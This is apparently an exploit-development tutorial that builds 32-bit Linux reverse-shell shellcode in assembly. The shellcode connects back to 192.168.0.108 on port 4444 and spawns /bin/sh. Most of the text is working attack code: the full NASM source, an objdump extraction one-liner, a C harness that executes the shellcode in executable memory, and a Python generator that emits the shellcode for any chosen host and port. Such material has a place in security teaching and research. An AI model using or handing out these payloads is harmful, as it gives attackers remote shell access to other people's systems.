Let use the Reverse Shell in C for Linux Code and prepare the assembly code based on that.
There are four main steps in the code.

  • Create socket
  • Connect to a specified IP and port.
  • Redirect stdin, stdout, stderr via dup2.
  • Launch the shell with execve.

Create socket


To work with socket first we need to call socketcall

  1. Find the socketcall system call number and convert it to hexadecimal
    cat /usr/include/asm/unistd_32.h | grep socketcall

    So, 102 is system call number for socketcall.
    To hexadecimal:

Assembly code

push 0x66
pop eax
  1. push 0x66 = push the hexadecimal value 0x66 (which is 102 in decimal) onto the stack.
  2. pop eax = pop the top value off the stack and into the EAX register.
  • Use this instead of mov eax, 0x66
    Because when writing shellcode, we want to avoid null bytes (0x00). Using mov eax, 0x66 directly generates:
    b8 66 00 00 00   ; mov eax, 0x66
    This includes three null bytes, which could terminate your shellcode early in certain contexts.
    But push + pop compiles to:
    6a 66    ; push 0x66
    58       ; pop eax
  1. Now we need to start SYS_SOCKET functions calls of the socketcall syscall and it’s definition can be found in /usr/include/linux/net.h:

    1 is the definition of SYS_SOCKET.

Assembly code

push 0x66
pop eax
 
; added
push 0x1
pop ebx
  1. Add argument to socket():

    The socket() function takes 3 arguments:

    sockfd = socket(int socket_family, int socket_type, int protocol);

    So we need to find definition for the arguments.

    For,

ArgumentPath
socket_family/usr/include/bits/socket.h
socket_type/usr/include/bits/socket_type.h
protocolusr/include/linux/in.h
4.1 Clear edx register:
xor edx, edx     ; edx = 0

This ensures edx is zero. Used to represent protocol = 0 (IPPROTO_IP = 0).

4.2 Push socket arguments onto the stack in reverse order:

push edx         ; protocol = 0
push ebx         ; type = 1 (set earlier to SOCK_STREAM)
push 0x2         ; domain = 2 (AF_INET)

This creates a stack like:

[AF_INET][SOCK_STREAM][IPPROTO_IP]

Top of stack (ESP) now points to this array of arguments.

4.3 Set ECX to point to the argument array:

mov ecx, esp     ; ecx now points to socket args

This is needed because ecx is expected to hold a pointer to the args array when using socketcall.

  1. Make the syscall:
int 0x80         ; syscall interrupt
  1. Save the socket file descriptor:
xchg edx, eax    ; swap socket fd (in eax) into edx

After the syscall, eax will contain the return value, which is the file descriptor for the socket. Swapping it into edx saves it for later use (because eax may be overwritten by the next syscall).

RegisterPurposeValue
eaxSyscall number0x66 (socketcall)
ebxSubcall number1 (socket)
ecxPointer to arguments arrayPoints to stack
edxZeroed initially; holds fdAfter xchg
espStack pointerHolds socket args

Assembly code

push 0x66
pop eax
 
push 0x1
pop ebx
 
;added
xor edx, edx      ; zero out edx
 
push edx          ; protocol = IPPROTO_IP (0x0)
push ebx          ; socket_type = SOCK_STREAM (0x1)
push 0x2          ; socket_family = AF_INET (0x2)
 
mov ecx, esp      ; move stack pointer to ecx
 
int 0x80          ; syscall (exec sys_socket)
 
xchg edx, eax     ; save result (sockfd) for later usage

Connect to a specified IP and port


  1. Start by preparing for the socketcall syscall:
mov al, 0x66        ; syscall number 102 (socketcall)

We’re putting the value 0x66 into the lower 8 bits of the EAX register that is, AL.

  1. Construct the sockaddr_in struct in memory (reverse push order):
    sockaddr_in in C:
struct sockaddr_in {
    sa_family_t sin_family;   // 2 bytes
    uint16_t    sin_port;     // 2 bytes
    struct in_addr sin_addr;  // 4 bytes
}

So we push in reverse order:

push 0xc0a8006c     ; sin_addr = 192.168.0.108 (in hex and network byte order)
push word 0x5c11    ; sin_port = 4444 (again, in hex)
inc ebx             ; ebx becomes 0x2 = AF_INET (Address family)
push word bx        ; sin_family = AF_INET (2)
LineInstructionDescriptionStack After This Step (Top to Bottom)
1push 0xc0a8006cPush IP address (192.168.0.108) in hex (network byte order)0xc0a8006c
2push word 0x5c11Push port 4444 in hex (little endian) — 0x115c0x5c11 0xc0a8006c
3inc ebxIncrease EBX register (e.g., from 1 to 2) to hold address family = AF_INET (value = 2)Stack unchanged
4push word bxPush lower 16 bits of EBX (which is now 0x2) = AF_INET0x0002
0x5c11
0xc0a8006c
  1. Save pointer to the top of stack (sockaddr) to ECX:
mov ecx, esp        ; ECX now points to the full sockaddr struct
  1. Prepare the argument array for connect():
    Signature of connect function
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
push 0x10           ; addrlen = 16 bytes (sizeof(sockaddr_in))
push ecx            ; pointer to sockaddr
push edx            ; sockfd (EDX was set earlier to hold sockfd)
Assembly InstructionMeaningStack After Push
push 0x10Push 16 (decimal) — size of struct sockaddr_inTop → 0x10
push ecxPush pointer to the sockaddr_in structureTop → [ECX]
Next → 0x10
push edxPush file descriptor returned by socket() (stored in EDX)Top → [EDX]
Next → [ECX]
Next → 0x10
  1. Point ECX to the argument array and make syscall:
mov ecx, esp        ; ECX points to the array of 3 arguments
inc ebx             ; EBX = 3 => connect() in socketcall
int 0x80            ; syscall trigger

Assembly code

push 0x66
pop eax
 
push 0x1
pop ebx
 
;added
xor edx, edx      ; zero out edx
 
push edx          ; protocol = IPPROTO_IP (0x0)
push ebx          ; socket_type = SOCK_STREAM (0x1)
push 0x2          ; socket_family = AF_INET (0x2)
 
mov ecx, esp      ; move stack pointer to ecx
 
int 0x80          ; syscall (exec sys_socket)
 
xchg edx, eax     ; save result (sockfd) for later usage
 
mov al, 0x66        ; syscall number 102 (socketcall)
 
push 0xc0a8006c     ; sin_addr = 192.168.0.108 (in hex and network byte order)
push word 0x5c11    ; sin_port = 4444 (again, in hex)
inc ebx             ; ebx becomes 0x2 = AF_INET (Address family)
push word bx        ; sin_family = AF_INET (2)
 
mov ecx, esp        ; ECX now points to the full sockaddr struct
 
push 0x10           ; addrlen = 16 bytes (sizeof(sockaddr_in))
push ecx            ; pointer to sockaddr
push edx            ; sockfd (EDX was set earlier to hold sockfd)
mov ecx, esp        ; ECX points to the array of 3 arguments
inc ebx             ; EBX = 3 => connect() in socketcall
int 0x80            ; syscall trigger

redirect stdin, stdout and stderr via dup2


push 0x2          ;set counter to 2
pop ecx           ;zero to eax (rest for newfd)
  • Pushing 2 to stack and clearing ecxto hold newfd.
xchg ebx, edx     ;save sockfd
  • Exchanging sockfd pointer to from edx to ebx.

Now dup2 takes two arguments 1 oldfd which we have saved in ebx in last step and 2 newfd which will be 1, 2, and 3 from loop.

for (int i = 0; i < 3; i++) {
// dup2(sockftd, 0) - stdin
// dup2(sockfd, 1) - stdout
// dup2(sockfd, 2) - stderr
dup2(sockfd, i);
}

=

dup:
	mov al, 0x3f       ; sys_dup2 = 63 = 0x3f
	int 0x80           ; syscall (exec sys_dup2)
	dec exc            ; decrement counter
	jns dup            ; as long as SF is not set -> jmp to dup

Launch the shell with execve


; spawn /bin/sh using execve
; int execve(const char *filename,
; char *const argv[],char *const envp[]);
mov al, 0x0b        ; syscall: sys_execve = 11 (mov eax, 11)
inc ecx             ; argv=0
mov edx, ecx        ; envp=0
push edx            ; terminating NULL
push 0x68732f2f     ; "hs//"
push 0x6e69622f     ; "nib/"
mov ebx, esp        ; save pointer to filename
int 0x80            ; syscall: exec sys_execve

Final code


section .bss
	
section .text
	global _start       ; must be declared for linker
	
_start:                 ; linker entry point
 
	; create socket
	; int socketcall(int call, unsigned long *args);
	push 0x66               ; sys_socketcall 102
	pop eax                 ; zero out eax
	push 0x1                ; sys_socket 0x1
	pop ebx                 ; zero out ebx
	xor edx, edx            ; zero out edx
	
	; int socket(int domain, int type, int protocol);
	push edx                ; protocol = IPPROTO_IP (0x0)
	push ebx                ; socket_type = SOCK_STREAM (0x1)
	push 0x2                ; socket_family = AF_INET (0x2)
	mov ecx, esp            ; move stack pointer to ecx
	int 0x80                ; syscall (exec sys_socket)
	xchg edx, eax           ; save result (sockfd) for later usage
 
	; int socketcall(int call, unsigned long *args);
	mov al, 0x66            ; socketcall 102
 
	; int connect(int sockfd, const struct sockaddr *addr,
	; socklen_t addrlen);
	push 0xc0a8006c         ; sin_addr = 192.168.0.108
	                        ; (network byte order)
	push word 0x5c11        ; sin_port = 4444
	inc ebx                 ; ebx = 0x02
	push word bx            ; sin_family = AF_INET
	mov ecx, esp            ; move stack pointer to sockaddr struct
	
	push 0x10               ; addrlen = 16
	push ecx                ; const struct sockaddr *addr
	push edx                ; sockfd
	mov ecx, esp            ; move stack pointer to ecx (sockaddr_in struct)
	inc ebx                 ; sys_connect (0x3)
	int 0x80                ; syscall (exec sys_connect)
	
	; int socketcall(int call, unsigned long *args);
	; duplicate the file descriptor for
	; the socket into stdin, stdout, and stderr
	; dup2(sockfd, i); i = 1, 2, 3
	push 0x2                ; set counter to 2
	pop ecx                 ; zero to ecx (reset for newfd loop)
	xchg ebx, edx           ; save sockfd
	
dup:
	mov al, 0x3f            ; sys_dup2 = 63 = 0x3f
	int 0x80                ; syscall (exec sys_dup2)
	dec ecx                 ; decrement counter
	jns dup                 ; as long as SF is not set -> jmp to dup
 
	; spawn /bin/sh using execve
	; int execve(const char *filename, char
	; *const argv[],char *const envp[]);
	mov al, 0x0b            ; syscall: sys_execve = 11 (mov eax, 11)
	inc ecx                 ; argv=0
	mov edx, ecx            ; envp=0
	push edx                ; terminating NULL
	push 0x68732f2f         ; "hs//"
	push 0x6e69622f         ; "nib/"
	mov ebx, esp            ; save pointer to filename
	int 0x80                ; syscall: exec sys_execve

Running

nasm -f elf32 -o rev.o rev.asm
ld -m elf_i386 -o rev rev.o

Preparing listener on 4444 and run:

./rev

Extracting Shellcode and running it on Testing code Boiler Plate.

# Extract code
objdump -d ./rev|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'| sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'


Replacing the shellcode in run.c.

//run.c
 
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
 
int main() {
    char code[] = "\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x92\xb0\x66\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x6a\x02\x59\x87\xda\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x41\x89\xca\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
	
    // Allocate executable memory
    void *exec = mmap(0, sizeof(code), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_PRIVATE, -1, 0);
	
    memcpy(exec, code, sizeof(code));
	
    // Cast and call
    ((void(*)())exec)();
    return 0;
}

Compile, start listener and run:

gcc -m32 -o run run.c
./run

Customize host and Port

Here is a small python script for changing host and port.

import socket
import argparse
import sys
 
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
ENDC = '\033[0m'
 
def my_super_shellcode(host, port):
	print (BLUE)
	print ("let's go to create your super shellcode...")
	
	print (ENDC)
	if int(port) < 1 and int(port) > 65535:
		print (RED + "port number must be in 1-65535" + ENDC)
		sys.exit()
	if int(port) >= 1 and int(port) < 1024:
		print (YELLOW + "you must be a root" + ENDC)
	if len(host.split(".")) != 4:
		print (RED + "invalid host address :(" + ENDC)
		sys.exit()
		
	h = socket.inet_aton(host).hex()
	hl = [h[i:i+2] for i in range(0, len(h), 2)]
	if "00" in hl:
		print (YELLOW)
		print ("host address will cause null bytes to be in shellcode.")
		print (ENDC)
		
	h1, h2, h3, h4 = hl
	
	shellcode_host = "\\x" + h1 + "\\x" + h2
	shellcode_host += "\\x" + h3 + "\\x" + h4
	print (YELLOW)
	print ("hex host address: x" + h1 + "x" + h2 + "x" + h3 + "x" + h4)
	print (ENDC)
	
	p = socket.inet_aton(port).hex()[4:]
	pl = [p[i:i+2] for i in range(0, len(p), 2)]
	if "00" in pl:
		print (YELLOW)
		print ("port will cause null bytes to be in shellcode.")
	print (ENDC)
	p1, p2 = pl
	
	shellcode_port = "\\x" + p1 + "\\x" + p2
	print (YELLOW)
	print ("hex port: x" + p1 + "x" + p2)
	print (ENDC)
	shellcode = "\\x6a\\x66\\x58\\x6a\\x01\\x5b\\x31"
	shellcode += "\\xd2\\x52\\x53\\x6a\\x02\\x89\\xe1\\xcd"
	shellcode += "\\x80\\x92\\xb0\\x66\\x68"
	shellcode += shellcode_host
	shellcode += "\\x66\\x68"
	shellcode += shellcode_port
	shellcode += "\\x43\\x66\\x53\\x89\\xe1\\x6a\\x10"
	shellcode += "\\x51\\x52\\x89\\xe1\\x43\\xcd"
	shellcode += "\\x80\\x6a\\x02\\x59\\x87\\xda\\xb0"
	shellcode += "\\x3f\\xcd\\x80\\x49\\x79\\xf9"
	shellcode += "\\xb0\\x0b\\x41\\x89\\xca\\x52\\x68"
	shellcode += "\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69"
	shellcode += "\\x6e\\x89\\xe3\\xcd\\x80"
	
	print (GREEN + "your super shellcode is:" + ENDC)
	print (GREEN + shellcode + ENDC)
	
if __name__ == "__main__":
	parser = argparse.ArgumentParser()
	parser.add_argument('-l','--lhost', required = True, help = "local IP", default = "127.1.1.1", type = str)
	parser.add_argument('-p','--lport', required = True, help = "local port", default = "4444", type = str)
	args = vars(parser.parse_args())
	host, port = args['lhost'], args['lport']
	my_super_shellcode(host, port)
python3 shellcode.py -l 192.168.0.108 -p 4444